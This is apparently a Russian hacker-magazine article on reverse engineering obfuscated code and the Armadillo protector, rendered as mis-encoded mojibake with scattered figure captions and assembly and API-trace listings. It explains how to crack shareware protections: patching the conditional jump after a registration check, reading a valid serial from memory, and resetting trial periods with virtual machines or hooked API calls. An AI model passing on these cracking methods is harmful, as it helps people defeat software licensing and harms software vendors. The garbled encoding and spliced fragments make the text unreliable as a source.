.adata:0043401A repne jmp short loc_434012



ãî îáû÷íî èñïîëüçóþòñÿ ãðàôû. Êàê òîëüêî ãðàô
çàìûêàåòñÿ ñàì íà ñåáÿ, âñå «ëèøíèå» îïåðàöèè
íàä äàííûìè óäàëÿþòñÿ è îñòàåòñÿ òîëüêî ñóòü.

áîëåå ññîâåðøåííûå îîáôóñêàòîðû âûïîëíÿ-
þò ìàòåìàòè÷åñêèå ïðåîáðàçîâàíèÿ ïðîãðàììíî-
ãî êîäà, à ýòî êðàíòû. Â ÷àñòíîñòè, êîìàíäà «a++»
ìîæåò áûòü çàìåíåíà íà ýêâèâàëåíòíóþ åé êîí-
ñòðóêöèþ a += (sin(x)2 + cos(x)2), ãäå sin/cos âû÷è-
ñëÿþòñÿ «âðó÷íóþ» ïîñðåäñòâîì ñàìîãî «òóïîãî»
è ãðîìîçäêîãî àëãîðèòìà, ðàñïîçíàòü â êîòîðîì
èñõîäíóþ ôîðìóëó íå ñìîæåò è àêàäåìèê.

Êëàññè÷åñêèå òðàññåðû äàííûõ óæå íå
ñïðàâëÿþòñÿ ñ òàêîé çàäà÷åé: â ýòîì ñëó÷àå ãðàô
íå çàìûêàåòñÿ ñàì íà ñåáÿ è èçáûòî÷íîñòü, âíå-
ñåííàÿ îáôóñêàòîðîì, íå óäàëÿåòñÿ. Îäíàêî
ìîæíî ñäåëàòü êîå-÷òî â èíòåðàêòèâíîì ðåæèìå.
Ñìîòðè. Íà âõîäå ìû èìååì ïåðåìåííóþ «a», êî-
òîðàÿ ïîñëå äîëãèõ è çàãàäî÷íûõ ìàíèïóëÿöèé
óâåëè÷èâàåòñÿ íà åäèíèöó. Åñëè êîä ëèíååí è èí-
âàðèàíòåí ïî îòíîøåíèþ ê äðóãèì äàííûì (òî
åñòü íå çàâèñèò îò íèõ), õàêåð ìîæåò ñìåëî çàìå-
íèòü âñþ ýòó çàìóòêó íà «a++». Ãëàâíîå — ÷òîáû
èññëåäîâàòåëüñêèé èíñòðóìåíò îáåñïå÷èâàë
óäîáíûé, íàãëÿäíûé è íåïðîòèâîðå÷èâûé ñïîñîá
âèçóàëèçàöèè äàííûõ.

÷òîáû îîùóòèòü ââñå ïïðåëåñòè îîáôóñêàöèè íà
ñîáñòâåííîé øêóðå, äîñòàòî÷íî âçÿòü Armadillo,
óïàêîâàòü ñâîþ ñîáñòâåííóþ ïðîãðàììó òèïà Hel-
lo, world!, à çàòåì êîâûðíóòü åå îòëàä÷èêîì èëè
äèçàññåìáëåðîì. Ìàìà ðîäíàÿ! Ñêîëüêî íè òðàñ-
ñèðóé ïðîãðàììó, à ñìûñëà âñå ðàâíî íå âèäíî.
Ïîïàäàåøü â îêðóæåíèå êðîìåøíîé òüìû è íåïðî-
ãëÿäíîãî ìðàêà äèêèõ äæóíãëåé çàïóòàííîãî êîäà.

ñ ððàáîòàþùåé ïïðîãðàììû ïðàêòè÷åñêè âñåã-
äà ìîæíî ñíÿòü äàìï, êàê áû ýòîìó íè ñîïðîòèâ-
ëÿëñÿ ðàñïàêîâùèê. Ìåòîäèêè áîðüáû ñ ðàñïàêîâ-
ùèêàìè äîâîëüíî ðàçíîîáðàçíû è çàñëóæèâàþò
îòäåëüíîé ñòàòüè. Îòìåòèì ëèøü èñïîëüçóåìûé
Armadillo ìåõàíèçì äèíàìè÷åñêîé ðàñøèôðîâêè
CopyMem II, ïðè êîòîðîì ïàìÿòü ðàñøèôðîâûâà-
åòñÿ ïîñòðàíè÷íî.

Armadillo ïåðåõâàòûâàåò îáðàùåíèå ê çàøè-
ôðîâàííîé ñòðàíèöå ÷åðåç àòðèáóò NO_ACCESS è
ìåõàíèçì ñòðóêòóðíûõ èñêëþ÷åíèé, ðàñøèôðîâû-
âàåò åå, à çàòåì çàøèôðîâûâàåò âíîâü. Òåì íå
ìåíåå, âïîëíå ðåàëüíî íàïèñàòü äðàéâåð, îòñëå-
æèâàþùèé âîçíèêíîâåíèå èñêëþ÷åíèé è äàìïÿ-
ùèé ñòðàíèöó ïîñëå çàâåðøåíèÿ åå ðàñøèôðîâêè.

Àíàëèçèðîâàòü «çàïóòàííûé» êîä ïðîòåêòîðà äëÿ
ýòîãî ñîâñåì íå îáÿçàòåëüíî, íî íå âñå è íå âñåã-
äà áûâàåò òàê ðàäóæíî…

Êàê áû õàêåð íè èçáåãàë àíàëèçà çàïóòàííî-
ãî êîäà, ðàíî èëè ïîçäíî îí âëÿïàåòñÿ â ñèòóàöèþ,
êîãäà ïîëíàÿ ðåêîíñòðóêöèÿ àëãîðèòìà áóäåò äåé-
ñòâèòåëüíî íåîáõîäèìà. Ñðàæåíèå ñ îáôóñêàòî-
ðîì íåèçáåæíî. Ðàç òàê, íóæíî çàðàíåå ïîäãîòî-
âèòü ñåáÿ ê íåìó.

íàïèñàòü òòðàññåð âñå ðàâíî ïðèäåòñÿ, õîòÿ
áû ÷òîáû ïîíÿòü, êàê ðàáîòàåò îòëàä÷èê. Ëó÷øå,
åñëè ýòî áóäåò «òåðìîÿäåðíûé» òðàññåð, ðàáîòàþ-
ùèé íà íóëåâîì êîëüöå è îáõîäÿùèé àíòèîòëàäî÷-
íûå ïðèåìû, êîòîðûå òàê ëþáÿò èñïîëüçîâàòü îá-
ôóñêàòîðû.

Åñëè ïèñàòü òðàññåð ëåíü, ìîæíî èñïîëüçî-
âàòü Soft-Ice, ïðîñòî îòêëþ÷èâ îêíî êîäà êîìàíäîé
WC. Òîãäà ðåçóëüòàò òðàññèðîâêè êîìàíäîé T áó-
äåò «âûâàëèâàòü» â íèæíåå îêíî, îòêóäà åãî ìîæ-
íî äîáûòü ñîõðàíèâ èñòîðèþ êîìàíä â Symbol Lo-
ader’å: File Save Soft-Ice History As.

Íàìíîãî íàãëÿäíåå äèçàññåìáëåðíîãî ëè-
ñòèíãà. Òåïåðü íå íóæíî ïðûãàòü ïî óñëîâíûì ïå-
ðåõîäàì, ãàäàÿ, êàêèå èç íèõ âûïîëíÿþòñÿ, à êà-
êèå íåò. Ê òîìó æå åñòåñòâåííûì îáðàçîì èñ÷å-
çàåò ïðîáëåìà ïåðåêðûòèÿ ìàøèííûõ êîìàíä.
Îáðàòè âíèìàíèå íà àäðåñà 434012h, 00434013h
è 00434016h — ýòî íàøè «ïåðåêðûòûå» êîìàíäû.
Òî, ÷òî äèçàññåìáëåðó óäàâàëîñü ïîêàçàòü ñ òà-
êèì òðóäîì, òðàññåð îòäàåò íàì çàäàðîì! Ýòî ðå-
àëüíûé ïîòîê âûïîëíåíèÿ ïðîãðàììû, â êîòîðîì
ìíîãî ìóñîðà, íî, ïî êðàéíåé ìåðå, íåò ñêðûòûõ
êîìàíä, ñ êîòîðûìè ïðèõîäèòñÿ ñòàëêèâàòüñÿ â
äèçàññåìáëåðå.

Ïîëó÷åííûé ïðîòîêîë òðàññèðîâêè ìîæíî (è
íóæíî!) ïðîãîíÿòü ÷åðåç ðàçëè÷íûå ïðîãðàììû-
ôèëüòðû (èõ ïðèäåòñÿ íàïèñàòü òîæå ñàìîñòîÿ-
òåëüíî), êîòîðûå ðàñïîçíàþò è óäàëÿþò ìóñîðíûå
èíñòðóêöèè. Âïðî÷åì, ýòó îïåðàöèþ ìîæíî âû-
ïîëíèòü è âðó÷íóþ, çàãðóçèâ ïðîòîêîë â ëþáîé
ðåäàêòîð (íàïðèìåð, â òîò, êîòîðûé âñòðîåí â
FAR). Ïîñëå íåñêîëüêèõ ìèíóò ðàáîòû ïîëó÷èøü
ðåàëüíî çíà÷èìûé êîä.

îñíîâíóþ ïïðîáëåìó ñîçäàþò öèêëû. Òðàññåð
ðàçâîðà÷èâàåò èõ â äëèííûé ìíîãîêèëîìåòðîâûé,
ìíîãîêðàòíî ïîâòîðÿþùèéñÿ êîä. Çàïàðèøüñÿ
ïðîëèñòûâàòü åãî. Òàê ÷òî íå îáîéòèñü áåç ôèëü-
òðà, ðàñïîçíàþùåãî è «ñâîðà÷èâàþùåãî» ïîâòî-
ðÿþùèå êîíñòðóêöèè.

Õîðîøàÿ èäåÿ — ïðîïóñòèòü ïðîòîêîë òðàñ-
ñåðà ÷åðåç îïòèìèçèðóþùèé êîìïèëÿòîð, èñïîëü-
çóþùèé ñèñòåìû ãðàôîâ äëÿ óñòðàíåíèÿ ëèøíèõ
îïåðàöèé ïðèñâîåíèÿ (ïðîïóñêàòü èìåííî ïðîòî-
êîë òðàññåðà, à íå äèçàññåìáëåðíûé ëèñòèíã, ïî-
ñêîëüêó ïîñëåäíèé íåâåðåí, íåïîëîí è âîîáùå íè-
êóäà íå ãîäèòñÿ). Êîíå÷íî æå, îí íå ñìîæåò ðàñ-
ïîçíàòü ìàòåìàòè÷åñêèå ïðåîáðàçîâàíèÿ â ñòèëå
sin(x)2+cos(x)2, íî âûáðîñèò çíà÷èòåëüíóþ ÷àñòü
«èíñòðóêöèé ñ íóëåâûì ýôôåêòîì», à òåáå íå ïðè-
äåòñÿ ðåàëèçîâûâàòü ñèñòåìó ãðàôîâ è ïèñàòü òî,
÷òî áûëî íàïèñàíî çàäîëãî äî íàñ.

Ïðàâäà, åñòü îäíî «íî». Êîìïèëÿòîðû îïòèìèçè-
ðóþò îáðàùåíèÿ ê ïàìÿòè ñ áîëüøîé îñòîðîæíî-
ñòüþ, ïîýòîìó «ëîæíûå» ðàñøèôðîâùèêè íå áó-
äóò îïòèìèçèðîâàíû êîìïèëÿòîðîì, íåñìîòðÿ íà
èõ î÷åâèäíóþ «íóëåâóþ ýôôåêòèâíîñòü». Òû äîë-
æåí âûïîëíèòü ýòó ÷àñòü ðàáîòû ñàìîñòîÿòåëüíî
èëè æå… ïðîñòî ñìèðèòüñÿ ñ òåì, ÷òî èç ëèñòèíãà
âû÷èùåí íå âåñü ìóñîð.

çà îîñíîâó ëó÷øå âñåãî âçÿòü êîìïèëÿòîð gcc,
ïîñêîëüêó åãî èñõîäíûå òåêñòû îòêðûòû. Ðàçóìå-
åòñÿ, ïðîñòî âçÿòü è «îïòèìèçèðîâàòü» ïðîòîêîë
òðàññåðà íå ïîëó÷èòñÿ — îí «íàïèñàí» íà ÿçûêå
àññåìáëåðà. Ìîæíî íàïèñàòü ñðàâíèòåëüíî ïðî-
ñòîé òðàíñëÿòîð, ïðåâðàùàþùèé äèçàññåìáëåð-
íûé ïðîòîêîë òðàññåðà â ïðîãðàììó íà Ñ (è òîãäà
ìîæíî áóäåò îïòèìèçèðîâàòü åå ëþáûì êîìïèëÿ-
òîðîì, à íå òîëüêî gcc), íî ëó÷øå îòòðàíñëèðîâàòü
ïðîòîêîë òðàññåðà â ïðîìåæóòî÷íûé ÿçûê gcc
(îïèñàííûé â äîêóìåíòàöèè), ïðîïóñòèâ åãî ÷åðåç
«ãíóòûé» îïòèìèçàòîð. Â ýòîì ñëó÷àå ïîëó÷àåøü
âîçìîæíîñòü ñîîáùèòü îïòèìèçàòîðó íåêîòîðóþ
äîïîëíèòåëüíóþ èíôîðìàöèþ î ñòðóêòóðå ïðî-
ãðàììû, âûëîâëåííóþ òðàññåðîì. Ýôôåêòèâíîñòü
«÷èñòêè» êîäà îò ýòîãî òîëüêî ïîâûñèòüñÿ. Êîðî÷å
ãîâîðÿ, òðàññåð (è ïðîãðàììû-ôèëüòðû) áóäåò ðà-
áîòàòü â ñâÿçêå ñ îïòèìèçàòîðîì.
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Ïîïûòêà âçëîìà Armadill’û â HIEW’å ïðèâîäèò 
â óæàñ — êîä âûãëÿäèò ïîëíîé áåññìûñëèöåé

Îñíîâíîé ðåæèì ðàáîòû IDA Pro 5.x

Òðåõìåðíîå ïðåäñòàâëåíèå ñòðóêòóðû ÷åðâÿ
W32.Bagle î÷åíü íåóäîáíî äëÿ ðåàëüíîãî àíàëèçà



Òàì óæå è äî ìåòàäî-äåêîìïèëÿòîðà íåäàëåêî,
òåì áîëåå ÷òî ðàáîòû â ýòîì íàïðàâëåíèè âåäóòñÿ
íå òîëüêî â õàêåðñêèõ, íî è «àêàäåìè÷åñêèõ» êðó-
ãàõ. Òàê ÷òî àíàëèç «çàïóòàííîãî» êîäà — íå òà-
êàÿ óæ ñëîæíàÿ çàäà÷à.

Êñòàòè, ïðîöåäóðû, îáðàáîòàííûå îáôóñêà-
òîðîì, çíà÷èòåëüíî îòëè÷àþòñÿ îò âñåõ îñòàëüíûõ
è ìîãóò áûòü íàéäåíû ïðîñòûì ñòàòèñòè÷åñêèì
àíàëèçîì ïðîöåíòíîãî ñîäåðæàíèÿ ðàçëè÷íûõ ìà-
øèííûõ êîìàíä. Ó «çàïóòàííûõ» ïðîöåäóð îíî áó-
äåò óæ î÷åíü ñïåöèôè÷íûì. Òàêèå ïðîöåäóðû, êàê
ïðàâèëî, äî íåïðèëè÷èÿ äëèííû. Ëîãè÷íî, ÷òî
åñëè êîä ïðîöåäóðû çàïóòàí êåì-òî, òî íå ïðîñòî
òàê. Çäåñü ÿâíî ïðÿ÷åòñÿ çàùèòíûé ìåõàíèçì!
Ïðîöåäóðà ïðîâåðêè ðåãèñòðàöèîííîãî íîìåðà
èëè ÷òî-òî òèïà òîãî. Îáôóñêàöèÿ â ýòîì ñëó÷àå
èäåò òîëüêî íà ïîëüçó õàêåðó.

ñóùåñòâóþò ððàçëè÷íûå ññïîñîáû àíàëèçà àë-
ãîðèòìîâ ðàáîòû óñòðîéñòâ, «ñõåìà» êîòîðûõ íå-
äîñòóïíà. «Çàïóòàííóþ» ïðîãðàììó ìîæíî ðàñ-
ñìàòðèâàòü êàê «÷åðíûé ÿùèê» ñî âõîäîì è âûõî-
äîì, àáñòðàãèðóÿñü îò ìàøèííîãî êîäà è âûïîë-
íÿÿ àíàëèç íà ãîðàçäî áîëåå âûñîêîì óðîâíå.

Ìíîãî èíôîðìàöèè íåñóò â ñåáå âûçîâû API-
ôóíêöèé (âìåñòå ñ àðãóìåíòàìè è âîçâðàùàåìû-
ìè çíà÷åíèÿìè). Åñëè õàêåðó óäàñòñÿ ïåðåõâàòèòü
è áèáëèîòå÷íûå ôóíêöèè âìåñòå ñ RTL, òî êàðòèíà
ïðîèñõîäÿùåãî â îáùèõ ÷åðòàõ íàðèñóåòñÿ. Ïî
êðàéíåé ìåðå, õàêåð ñìîæåò âûÿñíèòü, ê ÷åìó
«ïðèâÿçûâàåòñÿ» çàùèòà, è òàêèì îáðàçîì îí óç-
íàåò îá îêîí÷àíèè èñïûòàòåëüíîãî ïåðèîäà. ×àñòî
äëÿ âçëîìà áîëüøåãî íå íóæíî.

Âìåñòî òîãî ÷òîáû àíàëèçèðîâàòü êîä ñà-
ìîé ïðîãðàììû, õàêåð èññëåäóåò, êàêèì îáðà-
çîì îíà âçàèìîäåéñòâóåò ñ «âíåøíèì ìèðîì»,
òî åñòü ñ ÎÑ. Òîãäà íà «âíóòðåííèé» ìèð çàùè-
òû ìîæíî áóäåò çàáèòü. Êîíå÷íî, íå äëÿ âñåõ
ïðîãðàìì ýòî ñðàáàòûâàåò, íî ìíîãèå ëîìàþò-
ñÿ èìåííî òàê.

ãðóáàÿ îîøèáêà áîëüøèíñòâà îáôóñêàòîðîâ â
òîì, ÷òî, «çàïóòûâàÿ» êîä, îíè çàáûâàþò «çàïó-
òàòü» ñòðóêòóðó äàííûõ (ðàçâå ÷òî òîëüêî çàøè-
ôðîâûâàþò èõ). Ýòî ïîçâîëÿåò èñïîëüçîâàòü êëàñ-
ñè÷åñêèå ïðèåìû âçëîìà òèïà «ïðÿìîé ïîèñê ðå-
ãèñòðàöèîííûõ äàííûõ â ïàìÿòè». Õàêåð ââîäèò

ïðîèçâîëüíûé ðåãèñòðàöèîííûé íîìåð, îòëàä÷è-
êîì íàõîäèò åãî â ïàìÿòè, ñòàâèò òî÷êó îñòàíîâà è
âñïëûâàåò â «çàïóòàííîé» ïðîöåäóðå, à çàòåì
ñìîòðèò îáñòîÿòåëüñòâà äåë. Â ïîëîâèíå ñëó÷àåâ
ïîñëå ñåðèè äîëãèõ ðàçáèðàòåëüñòâ çàïóòàííàÿ
ïðîöåäóðà âîçâðàùàåò TRUE/FALSE, è òîãäà õà-
êåð ïðîñòî ïðàâèò óñëîâíûé ïåðåõîä.

Â äðóãîé ïîëîâèíå ñëó÷àåâ çàùèòà ãåíåðè-
ðóåò «ýòàëîííûé» ðåãèñòðàöèîííûé íîìåð, ëåãêî
îáíàðóæèâàåìûé âèçóàëüíûì îñìîòðîì äàìïà ïà-
ìÿòè (â ýòîì ñëó÷àå õàêåð ïðîñòî ââîäèò ïîäñìî-
òðåííûé íîìåð â ïðîãðàììó). Áîëåå ñëîæíûå çà-
ùèòíûå ìåõàíèçìû âñòðå÷àþòñÿ êðàéíå ðåäêî, íî
è òîãäà ÷àñòî óäàåòñÿ ñãåíåðèðîâàòü âàëèäíûé íî-
ìåð «ðóêàìè» ñàìîé çàùèòû, åñëè îíà ïîñòðîåíà
ïî ñõåìå if (func_generate_reg_num(user_name) ==

entered_reg_num) all_ok() else fuck_off();. Êàê íå-
òðóäíî äîãàäàòüñÿ, õàêåð íàõîäèò ïðîöåäóðó
func_generate_reg_num (ïî ñðàáàòûâàíèþ òî÷êè
îñòàíîâà íà user_name) è «ïîäñìàòðèâàåò» âîç-
âðàùàåìûé ðåçóëüòàò. Äàííàÿ ìåòîäèêà ñîâåð-
øåííî «ïðîçðà÷íà» è ïðîáèâàåò ëþáûå íàâåñíûå
óïàêîâùèêè, ëèøíèé ðàç ïîäòâåðæäàÿ èçâåñòíûé
òåçèñ î òîì, ÷òî ãðàìîòíî çàùèòèòü ïðîãðàììó —
íå ãðèáîâ íàäåðáàíèòü :).

Â «òÿæåëûõ» ñëó÷àÿõ ïîìîãàåò ñëåæåíèå çà
äàííûìè, òî åñòü, îïÿòü-òàêè — çà äàìïîì ïàìÿòè.
Õàêåð âêëþ÷àåò òðàññåð è âíèêàåò â îêíî Memory,
àíàëèçèðóÿ õàðàêòåð èçìåíåíèÿ ïåðåìåííûõ. Ïå-
ðåìåííûå — ýòî êëþ÷ êî âñåìó. Îíè ïîçâîëÿþò
ðåêîíñòðóèðîâàòü àëãîðèòì äàæå áåç çíàíèÿ êîäà.
Òî÷íåå, ñóùåñòâóþò ìåòîäèêè ðåêîíñòðóêöèè êîäà

Ëèñòèíã 44. ÊÊîä ïïîñëå îîáôóñêàöèè
push eax ; ïîñëåäíåå çíà÷èìîå îáðàùåíèå ê eax

xor eax,eax ; ìóñîð

l1:

inc eax ; ìóñîð

jz l2 ; ìóñîð

cmp eax, ebx ; ìóñîð

jnz l1 ; ìóñîð

cmp eax, ecx ; ìóñîð

jge l1 ; ìóñîð

l2:

sub eax, 666h ; ìóñîð

shl eax, 1 ; ìóñîð

mov eax, ebx ; çíà÷èìàÿ ðåèíèöèëèçàöèÿ eax

Ëèñòèíã 55. ÂÂðåìåííîå ññîõðàíåíèå ððåãèñòðîâ ííà ññòåêå ññ ïïîñëåäóþùèì ââîññòàíîâëåíèåì
001B:0043402C 50 PUSH EAX ; ñîõðàíÿåì eax

001B:0043402D 51 PUSH ECX ; ñîõðàíÿåì ecx

001B:0043402E EB0F JMP 0043403F

001B:0043403F F2EBF5 REPNZ JMP 00434037

001B:00434037 EB0F JMP 00434048

001B:00434048 EBE9 JMP 00434033

001B:00434033 B8EB07B9EB MOV EAX,EBB907EB ; «ãàäèì» â eax

001B:0043403B 08FD OR CH,BH ; «ãàäèì» â ch

001B:0043403D EB0B JMP 0043404A

001B:0043404A F3EBE4 REPZ JMP 00434031

001B:00434031 EB0F JMP 00434042

001B:00434042 EBF6 JMP 0043403A

001B:0043403A EB08 JMP 00434044

001B:00434044 F2EB08 REPNZ JMP 0043404F

001B:0043404F 59 POP ECX ; âîññòàíàâëèâàåì ecx

001B:00434050 58 POP EAX ; âîññòàíàâëèâàåì eax

Ëèñòèíã 66. ««Ïîäëîæíûé» ððàñøèôðîâùèê, ââíåäðåííûé îîáôóñêàòîðîì
00434105 83ED 06 SUB EBP,6

00434108 B8 3B010000 MOV EAX,13B

0043410D 03C5 ADD EAX,EBP

0043410F 33DB XOR EBX,EBX

00434111 81C3 01010101 ADD EBX,1010101

00434117 3118 XOR DWORD PTR DS:[EAX],EBX ; ðàñøèôðîâûâàåì

00434119 8138 78540000 CMP DWORD PTR DS:[EAX],5478

0043411F 74 04 JE SHORT app_test.00434125

00434121 3118 XOR DWORD PTR DS:[EAX],EBX ; çàøèôðîâûâàåì

00434123 ^EB EC JMP SHORT app_test.00434111

Âçëîì ïðîãðàììû ñ ïîìîùüþ òî÷åê îñòàíîâà â
Soft-Ice è îêíà memory



ïî õàðàêòåðó èçìåíåíèÿ ïåðåìåííûõ. Íà äàííûé
ìîìåíò îíè îòðàáîòàíû åùå íå î÷åíü õîðîøî è
ïðàêòè÷åñêè íèãäå íå îïèñàíû, íî â õàêåðñêèõ êó-
ëóàðàõ óæå èäóò îæèâëåííûå ðàçãîâîðû. Ýòî ïåðñ-
ïåêòèâíîå íàïðàâëåíèå, â ñîîòâåòñòâèè ñ êîòîðûì
ñòîèò êîïàòü.

âîçâðàùàÿñü êê ððàçãîâîðó îî ttrial-ççàùèòàõ. Ìû
èìååì ïðîãðàììó, êîòîðàÿ çàïóñêàåòñÿ ïî ìåíü-
øåé ìåðå îäèí ðàç. Ãäå îäèí ðàç, òàì è äâà. Åñëè
ïîðàñêèíóòü ìîçãàìè, ìîæíî ñîçäàòü òàêèå óñëî-
âèÿ, êîòîðûå ïîçâîëÿò çàïóñêàòü ïðîãðàììó íå-
îãðàíè÷åííîå ìíîæåñòâî ðàç. Ãðóáî ãîâîðÿ, ìû
êàê áû ïîìåùàåì ïðîãðàììó «ïîä êîëïàê» è ïîä-
ñîâûâàåì åé òå äàííûå, â êîòîðûõ îíà íóæäàåòñÿ
äëÿ ïðîäîëæåíèÿ ñâîåé æèçíåäåÿòåëüíîñòè.

Èçâåñòíî, ÷òî âèðòóàëüíûå ìàøèíû òèïà VM
Ware «àâòîìàòè÷åñêè» ëîìàþò trial-ïðîãðàììû.
Åñëè ïðîãðàììà âåäåò ñ÷åò÷èê çàïóñêîâ èëè çàïî-
ìèíàåò äàòó èíñòàëëÿöèè ãäå-òî âíóòðè êîìïüþòå-
ðà, òî ïîñëå ïðåêðàùåíèÿ ðàáîòû îíà óñòàíàâëè-
âàåòñÿ íà «÷èñòóþ» âèðòóàëüíóþ ìàøèíó è ïðî-
äîëæàåò ðàáîòàòü êàê íè â ÷åì íå áûâàëî. Åñëè
äàòà îêîí÷àíèÿ èñïûòàòåëüíîãî ñðîêà æåñòêî ïðî-
øèòà âíóòðè ïðîãðàììû, ÷àñû âèðòóàëüíîé ìàøè-
íû ïåðåâîäÿòñÿ «íàçàä», à çàùèòà äàæå íå ïîäîç-
ðåâàåò, íàñêîëüêî æåñòîêî åå ïðîâåëè :). Åñëè
ïðîãðàììà «ñòó÷èòñÿ» â èíòåðíåò, ïûòàÿñü ïîä-
òâåðäèòü ïðàâîâåðíîñòü ñâîåé ðàáîòû, âèðòóàëü-
íàÿ ìàøèíà ïðîñòî «îòñåêàåòñÿ» îò èíòåðíåòà.
Âèðòóàëüíûå ìàøèíû — ýòî õîðîøî, òîëüêî ìåä-
ëåííî, íåóäîáíî è ãðîìîçäêî.

ìîæíî ïïîñòóïèòü ïïðîùå. Äîñòàòî÷íî ïåðå-
õâàòèòü áàçîâûå API-ôóíêöèè äëÿ ðàáîòû ñ ñèñòåì-
íûì âðåìåíåì, ôàéëîâîé ñèñòåìîé, ñåòüþ è ðåå-
ñòðîì, íå çàáûâàÿ î ôóíêöèÿõ DeviceIoControl è ïî-
äîáíûõ åé. Òîãäà ìîæíî îðãàíèçîâàòü «ëåãêóþ» è
âåñüìà áûñòðîäåéñòâóþùóþ âèðòóàëüíóþ ìàøèíó,
ïîäñîâûâàþùóþ çàùèòå îòäåëüíóþ ôàéëîâóþ ñè-
ñòåìó è ðååñòð. Êñòàòè, íåêîòîðûå ïðîòåêòîðû «ãà-
äÿò» â ðååñòðå, è çàìóðîâàòü èõ â çàñòåíêàõ âèðòó-
àëüíîé ìàøèíû ñàì Äæà âåëåë.

Êîíå÷íî, ýòî íå ñðàáîòàåò äëÿ òåõ çàùèò, êî-
òîðûå ðàáîòàþò 30 ìèíóò, à çàòåì òðåáóþò ïåðåçà-
ïóñêà ïðîãðàììû, ïîñêîëüêó ñóùåñòâóåò î÷åíü
ìíîãî ñïîñîáîâ îòñ÷èòàòü ýòè 30 ìèíóò äàæå áåç
îáðàùåíèÿ ê API. Âèðòóàëüíàÿ ìàøèíà áåññèëüíà
è â áîðüáå ñ íàäîåäëèâûìè NAG-ñêðèíàìè èëè
áàííåðàìè, êîòîðûå êðóòèò áåñïëàòíàÿ âåðñèÿ
ïðîãðàììû. Îäíàêî ïðåäëîæåííàÿ ìåòîäèêà è íå
ïðåòåíäóåò íà óíèâåðñàëüíîñòü. Åñëè ìîæíî ñëî-
ìàòü ïðîãðàììó ýòèì ïóòåì — õîðîøî, åñëè íåò —
èñïîëüçóé äðóãèå ïóòè, àòàêóÿ åå ïî îäíîìó èç
ñöåíàðèåâ, îïèñàííûõ âûøå.

áóäóùåå îîáôóñêàöèè ãîòîâèò õàêåðàì ñîâ-
ñåì íå ðàäóæíûå ïåðñïåêòèâû. Ñ õîäó ìîæíî íàç-
âàòü òðàíñëÿòîðû Ñ-êîäà â áàéò-êîä Ìàøèí Òüþ-
ðèíãà, Ñòðåëîê Ïèðñà, Ñåòåé Ïåòðè è ìíîãèõ äðó-
ãèõ ïðèìèòèâíûõ ìàøèí. Ïðîèçâîäèòåëüíîñòè ñî-
âðåìåííûõ ïðîöåññîðîâ áóäåò äîñòàòî÷íî. Â
ïðàêòè÷åñêîì ïëàíå ýòî îçíà÷àåò ïîëíûé ìðàê
ñòàíäàðòíûì ìåòîäàì àíàëèçà êîäà. Åñëè òåîðå-

Ëèñòèíã 77. ÏÏðîòîêîë òòðàññåðà
001B:00434001 E800000000 CALL 00434006

001B:00434006 5D POP EBP

001B:00434007 50 PUSH EAX

001B:00434008 51 PUSH ECX

001B:00434009 EB0F JMP 0043401A

001B:0043401A F2EBF5 REPNZ JMP 00434012

001B:00434012* EB0F JMP 00434023

001B:00434023 EBE9 JMP 0043400E

001B:0043400E B8EB07B9EB MOV EAX,EBB907EB

001B:00434013* 0F90EB SETO BL

001B:00434016* 08FD OR CH,BH

001B:00434018 EB0B JMP 00434025

001B:00434025 F3EBE4 REPZ JMP 0043400C

001B:0043400C EB0F JMP 0043401D

001B:0043401D EBF6 JMP 00434015

001B:00434015 EB08 JMP 0043401F

001B:0043401F F2EB08 REPNZ JMP 0043402A

001B:0043402A 59 POP ECX

001B:0043402B 58 POP EAX

001B:0043402C 50 PUSH EAX

001B:0043402D 51 PUSH ECX

001B:0043402E EB0F JMP 0043403F

001B:0043403F F2EBF5 REPNZ JMP 00434037

001B:00434037 EB0F JMP 00434048

001B:00434048 EBE9 JMP 00434033

001B:00434033 B8EB07B9EB MOV EAX,EBB907EB

001B:00434038 0F90EB SETO BL

001B:0043403B 08FD OR CH,BH

001B:0043403D EB0B JMP 0043404A

001B:0043404A F3EBE4 REPZ JMP 00434031

001B:00434031 EB0F JMP 00434042

001B:00434042 EBF6 JMP 0043403A

001B:0043403A EB08 JMP 00434044

001B:00434044 F2EB08 REPNZ JMP 0043404F

001B:0043404F 59 POP ECX

001B:00434050 58 POP EAX

Ëèñòèíã 88. ««Âû÷èùåíî» ââðó÷íóþ
001B:00434001 E800000000 CALL 00434006

001B:00434006 5D POP EBP

001B:00434077 33C9 XOR ECX,ECX

001B:004340C3 33C0 XOR EAX,EAX

001B:004340D3 8B0424 MOV EAX,[ESP]

001B:004340DB C60090 MOV BYTE PTR [EAX],90

001B:00434105 83ED06 SUB EBP,06

Ëèñòèíã 99. ØØïèîíàæ ççà AAPI-ôôóíêöèÿìè ííåñåò ââ ññåáå îî÷åíü ììíîãî èèíôîðìàöèè
Art.exe|0FF6D4E|GetProcAddress(77F80000,01049A04:"NtContinue") returns: 77F92796

Art.exe|0FF6D4E|GetProcAddress(77F80000,01049A3C:"NtRaiseException") returns: 77F860F2

Art.exe|0FF6D4E|GetProcAddress(77F80000,01049A7C:"KiUserExceptionDispatcher")returns;

Art.exe|0FF6D4E|GetProcAddress(77F80000,01049AC4:"NtQuerySystemInformation") returns;

Art.exe|0FF6D4E|GetProcAddress(77F80000,01049B0C:"NtAllocateVirtualMemory") returns;

Art.exe|0FF6D4E|GetProcAddress(77F80000,01049B50:"NtFreeVirtualMemory") returns;

Art.exe|0FF6D4E|GetProcAddress(77F80000,01049B90:"NtMapViewOfSection") returns;

Art.exe|0FEE7C2|VirtualAlloc(00000000,0000027D,00001000,00000040) returns: 01220000

Art.exe|10000AE|GetModuleFileNameA(00400000, 0012FE61, 000000FF) returns: 0000003B

Art.exe|0FFDA16|CreateFileA(0012FE61:"C:\bin\ElcomSoft\AdvancedRegistryTrace...",,,,)

Art.exe|0FFDBC3|CreateFileMappingA(9Ch,00h,02h,00h,00h,00h) returns: 000000A0

Art.exe|0FFDBD3|CloseHandle(0000009C) returns: 00000001



òè÷åñêè âîçìîæíî (íî ïðàêòè÷åñêè î÷åíü è î÷åíü
ñëîæíî) âû÷èñòèòü ìóñîð è óäàëèòü èçáûòî÷-
íîñòü, âíåñåííóþ «çàïóòûâàòåëÿìè», òî «ðàñïó-
òàòü» áàéò-êîä Ñåòåé Ïåòðè óæå íåâîçìîæíî.
Ýòîò ïðîöåññ îäíîíàïðàâëåííûé, è ðàçâåðíóòü
åãî íà 180 ãðàäóñîâ íå ñìîæåò äàæå ñàì Äæà.
Âïîëíå âîçìîæíî íàïèñàòü àíàëèçàòîð áàéò-êî-
äà, ïîâûøàþùèé óðîâåíü àáñòðàêöèè, âîò òîëüêî
